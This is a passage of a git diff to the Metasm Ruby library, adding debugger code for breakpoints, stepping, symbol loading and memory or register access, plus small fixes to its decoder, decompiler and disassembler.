=~ /flags?_(.+)/i + f = $1.downcase.to_sym + set_flag_value(f, v) + elsif k.kind_of?(Symbol) + set_reg_value(k, v) + elsif k.kind_of?(Indirection) + memory_write_int(k.pointer, v, k.len) + end + } + } + bp.hash_shared.each { |bb| bb.emul_instr = bp.emul_instr } + else + bp.hash_shared.each { |bb| bb.emul_instr = nil } + end + end + + bp.emul_instr + end + + def emulinstr_resv(e) + r = e + flags = Expression[r].externals.uniq.find_all { |f| f.to_s =~ /flags?_(.+)/i } + if flags.first + bd = {} + flags.each { |f| + f.to_s =~ /flags?_(.+)/i + bd[f] = get_flag_value($1.downcase.to_sym) + } + r = r.bind(bd) + end + resolve(r) + end + + # sets a breakpoint on execution + def bpx(addr, oneshot=false, cond=nil, &action) + h = { :type => :bpx } + h[:oneshot] = true if oneshot + h[:condition] = cond if cond + h[:action] = action if action + add_bp(addr, h) + end + + # sets a hardware breakpoint + # mtype in :r :w :x + # mlen is the size of the memory zone to cover + # mlen may be constrained by the architecture + def hwbp(addr, mtype=:x, mlen=1, oneshot=false, cond=nil, &action) + h = { :type => :hwbp } + h[:hash_owner] = @breakpoint_thread + addr = resolve_expr(addr) if not addr.kind_of? ::Integer + mtype = mtype.to_sym + h[:hash_key] = [addr, mtype, mlen] + h[:internal] = { :type => mtype, :len => mlen } + h[:oneshot] = true if oneshot + h[:condition] = cond if cond + h[:action] = action if action + add_bp(addr, h) + end + + # sets a memory breakpoint + # mtype is :r :w :rw or :x + # mlen is the size of the memory zone to cover + def bpm(addr, mtype=:r, mlen=4096, oneshot=false, cond=nil, &action) + h = { :type => :bpm } + addr = resolve_expr(addr) if not addr.kind_of? ::Integer + h[:hash_key] = addr & -4096 # XXX actually referenced at addr, addr+4096, ... addr+len + h[:internal] = { :type => mtype, :len => mlen } + h[:oneshot] = true if oneshot + h[:condition] = cond if cond + h[:action] = action if action + add_bp(addr, h) + end + + + # define the lambda to use to log stuff + def set_log_proc(l=nil, &b) + @log_proc = l || b + end + + # show information to the user, uses log_proc if defined + def log(*a) + if @log_proc + a.each { |aa| @log_proc[aa] } + else + puts(*a) if $VERBOSE + end + end + + + # marks the current cache of memory/regs invalid + def invalidate + @memory.invalidate if @memory + end + + # invalidates the EncodedData backend for the dasm sections + def dasm_invalidate + disassembler.sections.each_value { |s| s.data.invalidate if s.data.respond_to?(:invalidate) } if disassembler + end + + # return all breakpoints set on a specific address (or all bp) + def all_breakpoints(addr=nil) + ret = [] + if addr + if b = @breakpoint[addr] + ret |= b.hash_shared + end + else + @breakpoint.each_value { |bb| ret |= bb.hash_shared } + end + + @breakpoint_thread.each_value { |bb| + next if addr and bb.address != addr + ret |= bb.hash_shared + } + + @breakpoint_memory.each_value { |bb| + next if addr and (bb.address+bb.internal[:len] <= addr or bb.address > addr) + ret |= bb.hash_shared + } + + ret + end + + # return on of the breakpoints at address addr + def find_breakpoint(addr=nil, &b) + return @breakpoint[addr] if @breakpoint[addr] and (not b or b.call(@breakpoint[addr])) + all_breakpoints(addr).find { |bp| b.call bp } + end + + + # to be called right before resuming execution of the target + # run_m is the method that should be called if the execution is stopped + # due to a side-effect of the debugger (bpx with wrong condition etc) + # returns nil if the execution should be avoided (just deleted the dead thread/process) + def check_pre_run(run_m, *run_a) + if @dead_process + del_pid + return + elsif @dead_thread + del_tid + return + elsif @state == :running + return + end + @cpu.dbg_check_pre_run(self) if @cpu.respond_to?(:dbg_check_pre_run) + @breakpoint_cause = nil + @run_method = run_m + @run_args = run_a + @info = nil + true + end + + + # called when the target stops due to a singlestep exception + def evt_singlestep(b=nil) + b ||= find_singlestep + return evt_exception(:type => 'singlestep') if not b + + @state = :stopped + @info = 'singlestep' + @cpu.dbg_evt_singlestep(self) if @cpu.respond_to?(:dbg_evt_singlestep) + + callback_singlestep[] if callback_singlestep + + if cb = @singlestep_cb + @singlestep_cb = nil + cb.call # call last, as the cb may change singlestep_cb/state/etc + end + end + + # returns true if the singlestep is due to us + def find_singlestep + return @cpu.dbg_find_singlestep(self) if @cpu.respond_to?(:dbg_find_singlestep) + @run_method == :singlestep + end + + # called when the target stops due to a soft breakpoint exception + def evt_bpx(b=nil) + b ||= find_bp_bpx + # TODO handle race: + # bpx foo ; thread hits foo ; we bc foo ; os notify us of bp hit but we already cleared everything related to 'bpx foo' -> unhandled bp exception + return evt_exception(:type => 'breakpoint') if not b + + @state = :stopped + @info = 'breakpoint' + @cpu.dbg_evt_bpx(self, b) if @cpu.respond_to?(:dbg_evt_bpx) + + callback_bpx[b] if callback_bpx + + post_evt_bp(b) + end + + # return the breakpoint that is responsible for the evt_bpx + def find_bp_bpx + return @cpu.dbg_find_bpx(self) if @cpu.respond_to?(:dbg_find_bpx) + @breakpoint[pc] + end + + # called when the target stops due to a hwbp exception + def evt_hwbp(b=nil) + b ||= find_bp_hwbp + return evt_exception(:type => 'hwbp') if not b + + @state = :stopped + @info = 'hwbp' + @cpu.dbg_evt_hwbp(self, b) if @cpu.respond_to?(:dbg_evt_hwbp) + + callback_hwbp[b] if callback_hwbp + + post_evt_bp(b) + end + + # return the breakpoint that is responsible for the evt_hwbp + def find_bp_hwbp + return @cpu.dbg_find_hwbp(self) if @cpu.respond_to?(:dbg_find_hwbp) + @breakpoint_thread.find { |b| b.address == pc } + end + + # called for archs where the same interrupt is generated for hwbp and singlestep + # checks if a hwbp matches, then call evt_hwbp, else call evt_singlestep (which + # will forward to evt_exception if singlestep does not match either) + def evt_hwbp_singlestep + if b = find_bp_hwbp + evt_hwbp(b) + else + evt_singlestep + end + end + + # called when the target stops due to a memory exception caused by a memory bp + # called by evt_exception + def evt_bpm(b) + @state = :stopped + @info = 'bpm' + + callback_bpm[b] if callback_bpm + + post_evt_bp(b) + end + + # return a bpm whose page coverage includes the fault described in info + def find_bp_bpm(info) + @breakpoint_memory[info[:fault_addr] & -0x1000] + end + + # returns true if the fault described in info is valid to trigger b + def check_bpm_range(b, info) + return if b.address+b.internal[:len] <= info[:fault_addr] + return if b.address >= info[:fault_addr] + info[:fault_len] + case b.internal[:type] + when :r; info[:fault_access] == :r # or info[:fault_access] == :x + when :w; info[:fault_access] == :w + when :x; info[:fault_access] == :x # XXX non-NX cpu => check pc is in bpm range ? + when :rw; true + end + end + + # handles breakpoint conditions/callbacks etc + def post_evt_bp(b) + @breakpoint_cause = b + + found_valid_active = false + + pre_callback_pc = pc + + # XXX may have many active bps with callback that continue/singlestep/singlestep{}... + b.hash_shared.dup.find_all { |bb| + # ignore inactive bps + next if bb.state != :active + + # ignore out-of-range bpms + next if bb.type == :bpm and not check_bpm_range(bb, b.internal) + + # check condition + case bb.condition + when nil; cd = 1 + when Proc; cd = bb.condition.call + when String, Expression; cd = resolve_expr(bb.condition) + else raise "unknown bp condition #{bb.condition.inspect}" + end + next if not cd or cd == 0 + + found_valid_active = true + + # oneshot + del_bp(bb) if bb.oneshot + + bb.action + }.each { |bb| bb.action.call } + + # discard @breakpoint_cause if a bp callback did modify register_pc + @breakpoint_cause = nil if pc != pre_callback_pc + + # we did break due to a bp whose condition is not true: resume + # (unless a callback already resumed) + resume_badbreak(b) if not found_valid_active and @state == :stopped + end + + # called whenever the target stops due to an exception + # type may be: + # * 'access violation', :fault_addr, :fault_len, :fault_access (:r/:w/:x) + # anything else for other exceptions (access violation is special to handle bpm) + # ... + def evt_exception(info={}) + if info[:type] == 'access violation' and b = find_bp_bpm(info) + info[:fault_len] ||= 1 + b.internal.update info + return evt_bpm(b) + end + + @state = :stopped + @info = "exception #{info[:type]}" + + callback_exception[info] if callback_exception + + pass = pass_all_exceptions + pass = pass[info] if pass.kind_of? Proc + if pass + pass_current_exception + resume_badbreak + end + end + + def evt_newthread(info={}) + @state = :stopped + @info = 'new thread' + + callback_newthread[info] if callback_newthread + + ign = ignore_newthread + ign = ign[info] if ign.kind_of? Proc + if ign + continue + end + end + + def evt_endthread(info={}) + @state = :stopped + @info = 'end thread' + # mark the thread as to be deleted on next check_pre_run + @dead_thread = true + + callback_endthread[info] if callback_endthread + + ign = ignore_endthread + ign = ign[info] if ign.kind_of? Proc + if ign + continue + end + end + + def evt_newprocess(info={}) + @state = :stopped + @info = 'new process' + + callback_newprocess[info] if callback_newprocess + end + + def evt_endprocess(info={}) + @state = :stopped + @info = 'end process' + @dead_process = true + + callback_endprocess[info] if callback_endprocess + end + + def evt_loadlibrary(info={}) + @state = :stopped + @info = 'loadlibrary' + + callback_loadlibrary[info] if callback_loadlibrary + end + + # called when we did break due to a breakpoint whose condition is invalid + # resume execution as if we never stopped + # disable offending bp + singlestep if needed + def resume_badbreak(b=nil) + # ensure we didn't delete b + if b and b.hash_shared.find { |bb| bb.state == :active } + rm = @run_method + if rm == :singlestep + singlestep_bp(b) + else + ra = @run_args + singlestep_bp(b) { send rm, *ra } + end + else + send @run_method, *@run_args + end + end + + # singlesteps over an active breakpoint and run its block + # if the breakpoint provides an emulation stub, run that, otherwise + # disable the breakpoint, singlestep, and re-enable + def singlestep_bp(bp, &b) + if has_emul_instr(bp) + @state = :stopped + bp.emul_instr.call + b.call if b + else + bp.hash_shared.each { |bb| + disable_bp(bb, :temp_inactive) if bb.state == :active + } + # this *should* work with different bps stopping the current instr + prev_sscb = @singlestep_cb + singlestep { + bp.hash_shared.each { |bb| + enable_bp(bb) if bb.state == :temp_inactive + } + prev_sscb[] if prev_sscb + b.call if b + } + end + end + + # checks if @breakpoint_cause is valid, or was obsoleted by the user changing pc + def check_breakpoint_cause + if bp = @breakpoint_cause and + (bp.type == :bpx or (bp.type == :hwbp and bp.internal[:type] == :x)) and + pc != bp.address + bp = @breakpoint_cause = nil + end + bp + end + + # checks if the running target has stopped (nonblocking) + # returns false if no debug event happened + def check_target + do_check_target + end + + # waits until the running target stops (due to a breakpoint, fault, etc) + def wait_target + do_wait_target while @state == :running + end + + # resume execution of the target + # bypasses a software breakpoint on pc if needed + # thread breakpoints must be manually disabled before calling continue + def continue + if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } + singlestep_bp(b) { + next if not check_pre_run(:continue) + do_continue + } + else + return if not check_pre_run(:continue) + do_continue + end + end + alias run continue + + # continue ; wait_target + def continue_wait + continue + wait_target + end + + # resume execution of the target one instruction at a time + def singlestep(&b) + @singlestep_cb = b + bp = check_breakpoint_cause + return if not check_pre_run(:singlestep) + if bp and bp.hash_shared.find { |bb| bb.state == :active } and has_emul_instr(bp) + @state = :stopped + bp.emul_instr.call + invalidate + evt_singlestep(true) + else + do_singlestep + end + end + + # singlestep ; wait_target + def singlestep_wait(&b) + singlestep(&b) + wait_target + end + + # tests if the specified instructions should be stepover() using singlestep or + # by putting a breakpoint at next_addr + def need_stepover(di = di_at(pc)) + di and @cpu.dbg_need_stepover(self, di.address, di) + end + + # stepover: singlesteps, but do not enter in subfunctions + def stepover + di = di_at(pc) + if need_stepover(di) + bpx di.next_addr, true, Expression[:tid, :==, @tid] + continue + else + singlestep + end + end + + # stepover ; wait_target + def stepover_wait + stepover + wait_target + end + + # checks if an instruction should stop the stepout() (eg it is a return instruction) + def end_stepout(di = di_at(pc)) + di and @cpu.dbg_end_stepout(self, di.address, di) + end + + # stepover until finding the last instruction of the function + def stepout + # TODO thread-local bps + while not end_stepout + stepover + wait_target + end + do_singlestep + end + + def stepout_wait + stepout + wait_target + end + + # set a singleshot breakpoint, run the process, and wait + def go(target, cond=nil) + bpx(target, true, cond) + continue_wait + end + + # continue_wait until @state == :dead + def run_forever + continue_wait until @state == :dead + end + + # decode the Instruction at the address, use the @disassembler cache if available + def di_at(addr) + @disassembler.di_at(addr) || @disassembler.disassemble_instruction(addr) + end + + # list the general purpose register names available for the target + def register_list + @cpu.dbg_register_list + end + + # hash { register_name => register_size_in_bits } + def register_size + @cpu.dbg_register_size + end + + # retrieves the name of the register holding the program counter (address of the next instruction) + def register_pc + @cpu.dbg_register_pc + end + + # retrieve the name of the register holding the stack pointer + def register_sp + @cpu.dbg_register_sp + end + + # then name of the register holding the cpu flags + def register_flags + @cpu.dbg_register_flags + end + + # list of flags available in the flag register + def flag_list + @cpu.dbg_flag_list + end + + # retreive the value of the program counter register (eip) + def pc + get_reg_value(register_pc) + end + alias ip pc + + # change the value of pc + def pc=(v) + set_reg_value(register_pc, v) + end + alias ip= pc= + + # retrieve the value of the stack pointer register + def sp + get_reg_value(register_sp) + end + + # update the stack pointer + def sp=(v) + set_reg_value(register_sp, v) + end + + # retrieve the value of a flag (0/1) + def get_flag_value(f) + @cpu.dbg_get_flag(self, f) + end + + # retrieve the value of a flag (true/false) + def get_flag(f) + get_flag_value(f) != 0 + end + + # change the value of a flag + def set_flag_value(f, v) + (v && v != 0) ? set_flag(f) : unset_flag(f) + end + + # switch the value of a flag (true->false, false->true) + def toggle_flag(f) + set_flag_value(f, 1-get_flag_value(f)) + end + + # set the value of the flag to true + def set_flag(f) + @cpu.dbg_set_flag(self, f) + end + + # set the value of the flag to false + def unset_flag(f) + @cpu.dbg_unset_flag(self, f) + end + + # returns the name of the module containing addr or nil + def addr2module(addr) + @modulemap.keys.find { |k| @modulemap[k][0] <= addr and @modulemap[k][1] > addr } + end + + # returns a string describing addr in term of symbol (eg 'libc.so.6!printf+2f') + def addrname(addr) + (addr2module(addr) || '???') + '!' + + if s = @symbols[addr] ? addr : @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } + @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s))) + else '%08x' % addr + end + end + + # same as addrname, but scan preceding addresses if no symbol matches + def addrname!(addr) + (addr2module(addr) || '???') + '!' + + if s = @symbols[addr] ? addr : + @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } || + @symbols.keys.sort.find_all { |s_| s_ < addr and s_ + 0x10000 > addr }.max + @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s))) + else '%08x' % addr + end + end + + # loads the symbols from a mapped module + def loadsyms(addr, name='%08x'%addr.to_i) + if addr.kind_of? String + modules.each { |m| + if m.path =~ /#{addr}/i + addr = m.addr + name = File.basename m.path + break + end + } + return if not addr.kind_of? Integer + end + return if not peek = @memory.get_page(addr, 4) + if peek == "\x7fELF" + cls = LoadedELF + elsif peek[0, 2] == "MZ" and @memory[addr+@memory[addr+0x3c,4].unpack('V').first, 4] == "PE\0\0" + cls = LoadedPE + else return + end + + begin + e = cls.load @memory[addr, 0x1000_0000] + e.load_address = addr + e.decode_header + e.decode_exports + rescue + # cache the error so that we dont hit it every time + @modulemap[addr.to_s(16)] ||= [addr, addr+0x1000] + return + end + + if n = e.module_name and n != name + name = n + end + + @modulemap[name] ||= [addr, addr+e.module_size] + + cnt = 0 + e.module_symbols.each { |n_, a, l| + cnt += 1 + a += addr + @disassembler.set_label_at(a, n_, false) + @symbols[a] = n_ # XXX store "lib!sym" ? + if l and l > 1; @symbols_len[a] = l + else @symbols_len.delete a # we may overwrite an existing symbol, keep len in sync + end + } + log "loaded #{cnt} symbols from #{name}" + + true + end + + # scan the target memory for loaded libraries, load their symbols + def scansyms(addr=0, max=@memory.length-0x1000-addr) + while addr <= max + loadsyms(addr) + addr += 0x1000 + end + end + + # load symbols from all libraries found by the OS module + def loadallsyms(&b) + modules.each { |m| + b.call(m.addr) if b + loadsyms(m.addr, m.path) + } + end + + # see Disassembler#load_map + def load_map(str, off=0) + str = File.read(str) if File.exist?(str) + sks = @disassembler.sections.keys.sort + str.each_line { |l| + case l.strip + when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i # kernel.map style + a = $1.to_i(16) + off + n = $3 + when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i # IDA style + # see Disassembler for comments + a = sks[$1.to_i(16)] + $2.to_i(16) + off + n = $3 + else next + end + @disassembler.set_label_at(a, n, false) + @symbols[a] = n + } + + end + + # parses the expression contained in arg + def parse_expr(arg) + parse_expr!(arg.dup) + end + + # parses the expression contained in arg, updates arg to point after the expr + def parse_expr!(arg, &b) + return if not e = IndExpression.parse_string!(arg) { |s| + # handle 400000 -> 0x400000 + # XXX no way to override and force decimal interpretation.. + if s.length > 4 and not @disassembler.get_section_at(s.to_i) and @disassembler.get_section_at(s.to_i(16)) + s.to_i(16) + else + s.to_i + end + } + + # resolve ambiguous symbol names/hex values + bd = {} + e.externals.grep(::String).each { |ex| + if not v = register_list.find { |r| ex.downcase == r.to_s.downcase } || + (b && b.call(ex)) || symbols.index(ex) + lst = symbols.values.find_all { |s| s.downcase.include? ex.downcase } + case lst.length + when 0 + if ex =~ /^[0-9a-f]+$/i and @disassembler.get_section_at(ex.to_i(16)) + v = ex.to_i(16) + else + raise "unknown symbol name #{ex}" + end + when 1 + v = symbols.index(lst.first) + log "using #{lst.first} for #{ex}" + else + suggest = lst[0, 50].join(', ') + suggest = suggest[0, 125] + '...' if suggest.length > 128 + raise "ambiguous symbol name #{ex}: #{suggest} ?" + end + end + bd[ex] = v + } + e = e.bind(bd) + + e + end + + # resolves an expression involving register values and/or memory indirection using the current context + # uses #register_list, #get_reg_value, @mem, @cpu + # :tid/:pid resolve to current thread + def resolve_expr(e) + e = parse_expr(e) if e.kind_of? ::String + bd = { :tid => @tid, :pid => @pid } + Expression[e].externals.each { |ex| + next if bd[ex] + case ex + when ::Symbol; bd[ex] = get_reg_value(ex) + when ::String; bd[ex] = @symbols.index(ex) || @disassembler.prog_binding[ex] || 0 + end + } + Expression[e].bind(bd).reduce { |i| + if i.kind_of? Indirection and p = i.pointer.reduce and p.kind_of? ::Integer + i.len ||= @cpu.size/8 + p &= (1 << @cpu.size) - 1 if p < 0 + Expression.decode_imm(@memory, i.len, @cpu, p) + end + } + end + alias resolve resolve_expr + + # return/yield an array of [addr, addr symbolic name] corresponding to the current stack trace + def stacktrace(maxdepth=500, &b) + @cpu.dbg_stacktrace(self, maxdepth, &b) + end + + # accepts a range or begin/end address to read memory, or a register name + def [](arg0, arg1=nil) + if arg1 + arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer + arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer + @memory[arg0, arg1].to_str + elsif arg0.kind_of? ::Range + arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range + arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer + @memory[arg0].to_str + else + get_reg_value(arg0) + end + end + + # accepts a range or begin/end address to write memory, or a register name + def []=(arg0, arg1, val=nil) + arg1, val = val, arg1 if not val + if arg1 + arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer + arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer + @memory[arg0, arg1] = val + elsif arg0.kind_of? ::Range + arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range + arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer + @memory[arg0] = val + else + set_reg_value(arg0, val) + end + end + + + # read an int from the target memory, int of sz bytes (defaults to cpu.size) + def memory_read_int(addr, sz=@cpu.size/8) + addr = resolve_expr(addr) if not addr.kind_of? ::Integer + Expression.decode_imm(@memory, sz, @cpu, addr) + end + + # write an int in the target memory + def memory_write_int(addr, val, sz=@cpu.size/8) + addr = resolve_expr(addr) if not addr.kind_of? ::Integer + val = resolve_expr(val) if not val.kind_of? ::Integer + @memory[addr, sz] = Expression.encode_imm(val, sz, @cpu) + end + + # retrieve an argument (call at a function entrypoint) + def func_arg(nr) + @cpu.dbg_func_arg(self, nr) + end + def func_arg_set(nr, val) + @cpu.dbg_func_arg_set(self, nr, val) + end + + # retrieve a function returned value (call at func exitpoint) + def func_retval + @cpu.dbg_func_retval(self) + end + def func_retval_set(val) + @cpu.dbg_func_retval_set(self, val) + end + def func_retval=(val) + @cpu.dbg_func_retval_set(self, val) + end + + # retrieve a function return address (call at func entry/exit) + def func_retaddr + @cpu.dbg_func_retaddr(self) + end + def func_retaddr_set(addr) + @cpu.dbg_func_retaddr_set(self, addr) + end + def func_retaddr=(addr) + @cpu.dbg_func_retaddr_set(self, addr) + end + + def load_plugin(plugin_filename) + if not File.exist?(plugin_filename) and defined? Metasmdir + # try autocomplete + pf = File.join(Metasmdir, 'samples', 'dbg-plugins', plugin_filename) + if File.exist?(pf) + plugin_filename = pf + elsif File.exist?(pf + '.rb') + plugin_filename = pf + '.rb' + end + end + if (not File.exist?(plugin_filename) or File.directory?(plugin_filename)) and File.exist?(plugin_filename + '.rb') + plugin_filename += '.rb' + end + + instance_eval File.read(plugin_filename) + end + + # return the list of memory mappings of the current process + # array of [start, len, perms, infos] + def mappings + [[0, @memory.length]] + end + + # return a list of Process::Modules (with a #path, #addr) for the current process + def modules + [] + end + + # list debugged pids + def list_debug_pids + @pid_stuff.keys | [@pid].compact + end + + # return a list of OS::Process listing all alive processes (incl not debugged) + # default version only includes current debugged pids + def list_processes + list_debug_pids.map { |p| OS::Process.new(p) } + end + + # check if pid is valid + def check_pid(pid) + list_processes.find { |p| p.pid == pid } + end + + # list debugged tids + def list_debug_tids + @tid_stuff.keys | [@tid].compact + end + + # list of thread ids existing in the current process (incl not debugged) + # default version only lists debugged tids + alias list_threads list_debug_tids + + # check if tid is valid for the current process + def check_tid(tid) + list_threads.include?(tid) + end + + # see EData#pattern_scan + # scans only mapped areas of @memory, using os_process.mappings + def pattern_scan(pat, start=0, len=@memory.length-start, &b) + ret = [] + mappings.each { |maddr, mlen, perm, *o_| + next if perm !~ /r/i + mlen -= start-maddr if maddr < start + maddr = start if maddr < start + mlen = start+len-maddr if maddr+mlen > start+len + next if mlen <= 0 + EncodedData.new(read_mapped_range(maddr, mlen)).pattern_scan(pat) { |off| + off += maddr + ret << off if not b or b.call(off) + } + } + ret + end + + def read_mapped_range(addr, len) + # try to use a single get_page call + s = @memory.get_page(addr, len) || '' + s.length == len ? s : (s = @memory[addr, len] ? s.to_str : nil) + end +end +end diff --git a/lib/metasm/metasm/decode.rb b/lib/metasm/metasm/decode.rb index 56fc2a561f..7c0b1af609 100644 --- a/lib/metasm/metasm/decode.rb +++ b/lib/metasm/metasm/decode.rb @@ -134,9 +134,10 @@ class EncodedData # bytes from rawsize to virtsize are returned as zeroes # ignores self.relocations def read(len=@virtsize-@ptr) - len = @virtsize-@ptr if len > @virtsize-@ptr - str = (@ptr < @data.length) ? @data[@ptr, len] : '' - str = str.to_str.ljust(len, "\0") if str.length < len + vlen = len + vlen = @virtsize-@ptr if len > @virtsize-@ptr + str = (@ptr < @data.length) ? @data[@ptr, vlen] : '' + str = str.to_str.ljust(vlen, "\0") if str.length < vlen @ptr += len str end @@ -182,7 +183,7 @@ class CPU # returns a DecodedInstruction or nil def decode_instruction(edata, addr) @bin_lookaside ||= build_bin_lookaside - di = decode_findopcode edata + di = decode_findopcode edata if edata.ptr <= edata.length di.address = addr if di di = decode_instr_op(edata, di) if di decode_instr_interpret(di, addr) if di @@ -209,5 +210,35 @@ class CPU def delay_slot(di=nil) 0 end + + def disassembler_default_func + DecodedFunction.new + end + + # return something like backtrace_binding in the forward direction + # set pc_reg to some reg name (eg :pc) to include effects on the instruction pointer + def get_fwdemu_binding(di, pc_reg=nil) + fdi = di.backtrace_binding ||= get_backtrace_binding(di) + fdi = fix_fwdemu_binding(di, fdi) + if pc_reg + if di.opcode.props[:setip] + xr = get_xrefs_x(nil, di) + if xr and xr.length == 1 + fdi[pc_reg] = xr[0] + else + fdi[:incomplete_binding] = Expression[1] + end + else + fdi[pc_reg] = Expression[pc_reg, :+, di.bin_length] + end + end + fdi + end + + # patch a forward binding from the backtrace binding + # useful only on specific instructions that update a register *and* dereference that register (eg push) + def fix_fwdemu_binding(di, fbd) + fbd + end end end diff --git a/lib/metasm/metasm/decompile.rb b/lib/metasm/metasm/decompile.rb index a835f44946..6dc7bda9a3 100644 --- a/lib/metasm/metasm/decompile.rb +++ b/lib/metasm/metasm/decompile.rb @@ -69,7 +69,7 @@ class Decompiler @c_parser.toplevel.symbol.delete func.name decompile_func(entry) @recurse = pre_recurse - if not dcl = @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name } + if not @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name } @c_parser.toplevel.statements << C::Declaration.new(func) end end @@ -208,7 +208,7 @@ class Decompiler @c_parser.toplevel.statements.delete_if { |ts| ts.kind_of? C::Declaration and ts.var.name == name } aoff = 1 ptype.args.to_a.each { |a| - aoff = (aoff + @c_parser.typesize[:ptr] - 1) / @c_parser.typesize[:ptr] * @c_parser.typesize[:ptr] + aoff = (aoff + @c_parser.typesize[:ptr] - 1) / @c_parser.typesize[:ptr] * @c_parser.typesize[:ptr] f.decompdata[:stackoff_type][aoff] ||= a.type f.decompdata[:stackoff_name][aoff] ||= a.name if a.name aoff += sizeof(a) # ary ? @@ -293,7 +293,7 @@ class Decompiler @dasm.function[ta] = DecodedFunction.new puts "autofunc #{Expression[ta]}" if $VERBOSE end - + if @dasm.function[ta] and type != :subfuncret f = dasm.auto_label_at(ta, 'func') ta = dasm.normalize($1) if f =~ /^thunk_(.*)/ @@ -350,7 +350,7 @@ class Decompiler :include_start => i_s, :no_check => true, :terminals => [:frameptr]) if vals.length == 1 and ee = vals.first and (ee.kind_of? Expression and (ee == Expression[:frameptr] or (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer))) - ee + ee else e end end @@ -602,12 +602,12 @@ class Decompiler when C::If patch_test[ce.test] if ce.bthen.kind_of? C::Block - case ce.bthen.statements.length + case ce.bthen.statements.length when 1 walk(ce.bthen.statements) { |sst| sst.outer = ce.bthen.outer if sst.kind_of? C::Block and sst.outer == ce.bthen } ce.bthen = ce.bthen.statements.first when 0 - if not ce.belse and i = ce.bthen.outer.statements.index(ce) + if not ce.belse and i = ce.bthen.outer.statements.index(ce) ce.bthen.outer.statements[i] = ce.test # TODO remove sideeffectless parts end end @@ -1521,7 +1521,7 @@ class Decompiler tabidx = off / sizeof(st) off -= tabidx * sizeof(st) ptr = C::CExpression[:&, [ptr, :'[]', [tabidx]]] if tabidx != 0 or ptr.type.untypedef.kind_of? C::Array - return ptr if off == 0 and (not msz or # avoid infinite recursion with eg chained list + return ptr if off == 0 and (not msz or # avoid infinite recursion with eg chained list (ptr.kind_of? C::CExpression and ((ptr.op == :& and not ptr.lexpr and s=ptr.rexpr) or (ptr.op == :'.' and s=ptr)) and not s.type.untypedef.kind_of? C::Union)) @@ -1656,13 +1656,12 @@ class Decompiler ce.rexpr = p if ce.rexpr == v1 } } - } end # to be run with scope = function body with only CExpr/Decl/Label/Goto/IfGoto/Return, with correct variables types # will transform += 1 to ++, inline them to prev/next statement ('++x; if (x)..' => 'if (++x)..') - # remove useless variables ('int i;', i never used or 'i = 1; j = i;', i never read after => 'j = 1;') + # remove useless variables ('int i;', i never used or 'i = 1; j = i;', i never read after => 'j = 1;') # remove useless casts ('(int)i' with 'int i;' => 'i') def optimize(scope) optimize_code(scope) @@ -1871,7 +1870,7 @@ class Decompiler when ::Array; exp.any? { |_e| sideeffect _e, scope } when C::Variable; (scope and not scope.symbol[exp.name]) or exp.type.qualifier.to_a.include? :volatile when C::CExpression; (exp.op == :* and not exp.lexpr) or exp.op == :funcall or AssignOp.include?(exp.op) or - sideeffect(exp.lexpr, scope) or sideeffect(exp.rexpr, scope) + sideeffect(exp.lexpr, scope) or sideeffect(exp.rexpr, scope) else true # failsafe end end @@ -2009,7 +2008,7 @@ class Decompiler }.compact tw = to - [:write] - if to.include? :split or tw.length > 1 + if to.include? :split or tw.length > 1 :split elsif tw.length == 1 tw.first @@ -2089,7 +2088,7 @@ class Decompiler if (e.op == :'++' or e.op == :'--') and v = (e.lexpr || e.rexpr) and v.kind_of? C::Variable and scope.symbol[v.name] and not v.type.qualifier.to_a.include? :volatile next if !((pos = :post.to_sym) and (oe = find_next_read_bl[label, i, v]) and oe.kind_of? C::CExpression) and - !((pos = :prev.to_sym) and (oe = find_prev_read[label, i-2, v]) and oe.kind_of? C::CExpression) + !((pos = :prev.to_sym) and (oe = find_prev_read[label, i-2, v]) and oe.kind_of? C::CExpression) next if oe.op == :& and not oe.lexpr # no &(++eax) # merge pre/postincrement into next/prev var usage @@ -2221,7 +2220,7 @@ class Decompiler } case cnt when 0 - break if bad + break if bad next when 1 # good break if e.complexity > 10 and ce_.complexity > 3 # try to keep the C readable @@ -2443,7 +2442,7 @@ class Decompiler end # compare type.type cause var is an Array and the cast is a Pointer countderef[r.rexpr.name] += 1 if r.kind_of? C::CExpression and not r.op and r.rexpr.kind_of? C::Variable and - sizeof(nil, r.type.type) == sizeof(nil, r.rexpr.type.type) rescue nil + sizeof(nil, r.type.type) == sizeof(nil, r.rexpr.type.type) rescue nil } vars.each { |n| if countref[n] == countderef[n] @@ -2453,7 +2452,7 @@ class Decompiler v.initializer = v.initializer.first if v.initializer.kind_of? ::Array walk_ce(tl) { |ce| if ce.op == :'->' and C::CExpression[ce.lexpr] == C::CExpression[v] - ce.op = :'.' + ce.op = :'.' elsif ce.lexpr == target ce.lexpr = v end diff --git a/lib/metasm/metasm/disassemble.rb b/lib/metasm/metasm/disassemble.rb index 27e910ede0..01a91eb803 100644 --- a/lib/metasm/metasm/disassemble.rb +++ b/lib/metasm/metasm/disassemble.rb @@ -233,6 +233,11 @@ class DecodedFunction attr_accessor :finalized # bool, if true the function does not return (eg exit() or ExitProcess()) attr_accessor :noreturn + # hash stackoff => varname + # varname is a single String object shared by all ExpressionStrings (to allow renames) + attr_accessor :localvars + # hash stack offset => di address + attr_accessor :localvars_xrefs # if btbind_callback is defined, calls it with args [dasm, binding, funcaddr, calladdr, expr, origin, maxdepth] # else update lazily the binding from expr.externals, and return backtrace_binding @@ -264,6 +269,16 @@ class DecodedFunction @backtracked_for = [] 